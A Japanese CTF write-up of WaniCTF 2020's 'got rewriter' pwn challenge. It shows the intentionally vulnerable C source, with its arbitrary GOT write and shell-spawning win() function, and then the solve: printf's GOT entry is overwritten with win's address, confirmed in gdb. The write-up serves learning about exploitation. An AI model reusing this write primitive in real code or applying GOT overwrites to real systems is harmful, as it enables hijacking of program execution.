WaniCTF 2020 pwn 04 got rewriter Writeup


GOTについて勉強した記録

問題文

```
nc got.wanictf.org 9004
global offset table (GOT)の仕組みを理解する必要があります。
objdump -d -M intel ./pwn04 | less
```

配布データ

```
pwn04
pwn04.c
```

```c:pwn04.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void init();

void win()
{
    puts("congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char str_val[0x20];
    unsigned long int val;
    unsigned long int *p;
    int ret;

    printf("Please input target address (0x600e10-0x6010b0): ");
    ret = read(0, str_val, 0x20);
    str_val[ret - 1] = 0;
    val = strtol(str_val, NULL, 16);
    printf("Your input address is 0x%lx.\n", val);
    if (val < 0x600e10 || val > 0x6010b0)
    {
        printf("you can't rewrite 0x%lx!\n", val);
        return;
    }
    p = (unsigned long int *)val;

    printf("Please input rewrite value: ");
    ret = read(0, str_val, 0x20);
    str_val[ret - 1] = 0;
    val = strtol(str_val, NULL, 16);
    printf("Your input rewrite value is 0x%lx.\n\n", val);

    printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val);
    *p = val;
}

int main()
{
    init();
    puts("Welcome to GOT rewriter!!!");
    printf("win = 0x%lx\n", (unsigned long int)win);
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
```

objdumpでprintfのGOTアドレスを確認

```
objdump -d -M intel ./pwn04 | less

00000000004006d0 <printf@plt>:
  4006d0:       ff 25 62 09 20 00       jmp    QWORD PTR [rip+0x200962]        # 601038 <printf@GLIBC_2.2.5>
  4006d6:       68 04 00 00 00          push   0x4
  4006db:       e9 a0 ff ff ff          jmp    400680 <.plt>
```
0x601038だ

実行してみる

```
/pwn04
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600e10-0x6010b0):
```

ここで printf の GOTアドレス 601038 を入力

```
Please input target address (0x600e10-0x6010b0): 601038
Your input address is 0x601038.
Please input rewrite value:
```

ここで win のアドレス 400807 を入力

```
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
$ ls
pwn04
```

ok動いた。

さて，本当にGOTが書き換わってるのか gdb で確認する
main関数でvuln()が無限ループで呼び出されており，GOTを書き換えた後，winに飛ぶようになっている。

vuln()関数

```
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
=> 0x000000000040082d <+0>:     push   rbp
   0x000000000040082e <+1>:     mov    rbp,rsp
   0x0000000000400831 <+4>:     sub    rsp,0x50
   0x0000000000400835 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x000000000040083e <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400842 <+21>:    xor    eax,eax
   0x0000000000400844 <+23>:    lea    rdi,[rip+0x275]        # 0x400ac0
   0x000000000040084b <+30>:    mov    eax,0x0
   0x0000000000400850 <+35>:    call   0x4006d0 <printf@plt>
   0x0000000000400855 <+40>:    lea    rax,[rbp-0x30]
   0x0000000000400859 <+44>:    mov    edx,0x20
   0x000000000040085e <+49>:    mov    rsi,rax
   0x0000000000400861 <+52>:    mov    edi,0x0
   0x0000000000400866 <+57>:    call   0x4006f0 <read@plt>
   0x000000000040086b <+62>:    mov    DWORD PTR [rbp-0x44],eax
   0x000000000040086e <+65>:    mov    eax,DWORD PTR [rbp-0x44]
   0x0000000000400871 <+68>:    sub    eax,0x1
   0x0000000000400874 <+71>:    cdqe   
   0x0000000000400876 <+73>:    mov    BYTE PTR [rbp+rax*1-0x30],0x0
   0x000000000040087b <+78>:    lea    rax,[rbp-0x30]
   0x000000000040087f <+82>:    mov    edx,0x10
   0x0000000000400884 <+87>:    mov    esi,0x0
   0x0000000000400889 <+92>:    mov    rdi,rax
   0x000000000040088c <+95>:    call   0x400700 <strtol@plt>
   0x0000000000400891 <+100>:   mov    QWORD PTR [rbp-0x40],rax
   0x0000000000400895 <+104>:   mov    rax,QWORD PTR [rbp-0x40]
   0x0000000000400899 <+108>:   mov    rsi,rax
   0x000000000040089c <+111>:   lea    rdi,[rip+0x24f]        # 0x400af2
   0x00000000004008a3 <+118>:   mov    eax,0x0
   0x00000000004008a8 <+123>:   call   0x4006d0 <printf@plt>
   0x00000000004008ad <+128>:   cmp    QWORD PTR [rbp-0x40],0x600e0f
   0x00000000004008b5 <+136>:   jbe    0x4008c1 <vuln+148>
   0x00000000004008b7 <+138>:   cmp    QWORD PTR [rbp-0x40],0x6010b0
   0x00000000004008bf <+146>:   jbe    0x4008de <vuln+177>
   0x00000000004008c1 <+148>:   mov    rax,QWORD PTR [rbp-0x40]
   0x00000000004008c5 <+152>:   mov    rsi,rax
   0x00000000004008c8 <+155>:   lea    rdi,[rip+0x241]        # 0x400b10
   0x00000000004008cf <+162>:   mov    eax,0x0
   0x00000000004008d4 <+167>:   call   0x4006d0 <printf@plt>
   0x00000000004008d9 <+172>:   jmp    0x400976 <vuln+329>
   0x00000000004008de <+177>:   mov    rax,QWORD PTR [rbp-0x40]
   0x00000000004008e2 <+181>:   mov    QWORD PTR [rbp-0x38],rax
   0x00000000004008e6 <+185>:   lea    rdi,[rip+0x23d]        # 0x400b2a
   0x00000000004008ed <+192>:   mov    eax,0x0
   0x00000000004008f2 <+197>:   call   0x4006d0 <printf@plt>
   0x00000000004008f7 <+202>:   lea    rax,[rbp-0x30]
   0x00000000004008fb <+206>:   mov    edx,0x20
   0x0000000000400900 <+211>:   mov    rsi,rax
   0x0000000000400903 <+214>:   mov    edi,0x0
   0x0000000000400908 <+219>:   call   0x4006f0 <read@plt>
   0x000000000040090d <+224>:   mov    DWORD PTR [rbp-0x44],eax
   0x0000000000400910 <+227>:   mov    eax,DWORD PTR [rbp-0x44]
   0x0000000000400913 <+230>:   sub    eax,0x1
   0x0000000000400916 <+233>:   cdqe   
   0x0000000000400918 <+235>:   mov    BYTE PTR [rbp+rax*1-0x30],0x0
   0x000000000040091d <+240>:   lea    rax,[rbp-0x30]
   0x0000000000400921 <+244>:   mov    edx,0x10
   0x0000000000400926 <+249>:   mov    esi,0x0
   0x000000000040092b <+254>:   mov    rdi,rax
   0x000000000040092e <+257>:   call   0x400700 <strtol@plt>
   0x0000000000400933 <+262>:   mov    QWORD PTR [rbp-0x40],rax
   0x0000000000400937 <+266>:   mov    rax,QWORD PTR [rbp-0x40]
   0x000000000040093b <+270>:   mov    rsi,rax
   0x000000000040093e <+273>:   lea    rdi,[rip+0x203]        # 0x400b48
   0x0000000000400945 <+280>:   mov    eax,0x0
   0x000000000040094a <+285>:   call   0x4006d0 <printf@plt>
   0x000000000040094f <+290>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400953 <+294>:   mov    rdx,QWORD PTR [rbp-0x40]
   0x0000000000400957 <+298>:   mov    rsi,rax
   0x000000000040095a <+301>:   lea    rdi,[rip+0x20c]        # 0x400b6d
   0x0000000000400961 <+308>:   mov    eax,0x0
   0x0000000000400966 <+313>:   call   0x4006d0 <printf@plt>
   0x000000000040096b <+318>:   mov    rax,QWORD PTR [rbp-0x38]
   0x000000000040096f <+322>:   mov    rdx,QWORD PTR [rbp-0x40]
   0x0000000000400973 <+326>:   mov    QWORD PTR [rax],rdx
   0x0000000000400976 <+329>:   mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040097a <+333>:   xor    rax,QWORD PTR fs:0x28
   0x0000000000400983 <+342>:   je     0x40098a <vuln+349>
   0x0000000000400985 <+344>:   call   0x4006a0 <__stack_chk_fail@plt>
   0x000000000040098a <+349>:   leave  
   0x000000000040098b <+350>:   ret    
End of assembler dump.
```

printf関数のPLTアドレス

```
gdb-peda$ pdisass 0x4006d0
Dump of assembler code from 0x4006d0 to 0x4006f0::      Dump of assembler code from 0x4006d0 to 0x4006f0:
   0x00000000004006d0 <printf@plt+0>:   jmp    QWORD PTR [rip+0x200962]        # 0x601038 <printf@got.plt>                                                                                
   0x00000000004006d6 <printf@plt+6>:   push   0x4
   0x00000000004006db <printf@plt+11>:  jmp    0x400680
   0x00000000004006e0 <alarm@plt+0>:    jmp    QWORD PTR [rip+0x20095a]        # 0x601040 <alarm@got.plt>                                                                                 
   0x00000000004006e6 <alarm@plt+6>:    push   0x5
   0x00000000004006eb <alarm@plt+11>:   jmp    0x400680
End of assembler dump.
```

printf@gotのアドレス 0x601038 の中身は？

```
gdb-peda$ x/x 0x601038
0x601038 <printf@got.plt>:      0x00007ffff7e46cf0
```

vuln関数の先頭にブレークポイントを設定して継続
さっきと同じようにGOTを書き換える

```
gdb-peda$ b *0x000000000040082d
Breakpoint 2 at 0x40082d
gdb-peda$ c
Continuing.

Program received signal SIGALRM, Alarm clock.
Please input target address (0x600e10-0x6010b0): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.

Breakpoint 2, 0x000000000040082d in vuln ()
```

止まったところでGOTを確認

```
gdb-peda$ x/x 0x601038
0x601038 <printf@got.plt>:      0x0000000000400807
```

おー，確かに書き換わってる

```
前：0x601038 <printf@got.plt>:      0x00007ffff7e46cf0
後：0x601038 <printf@got.plt>:      0x0000000000400807
```

　
　

作問者writeup

https://github.com/wani-hackase/wanictf2020-writeup/tree/master/pwn/04-got-rewriter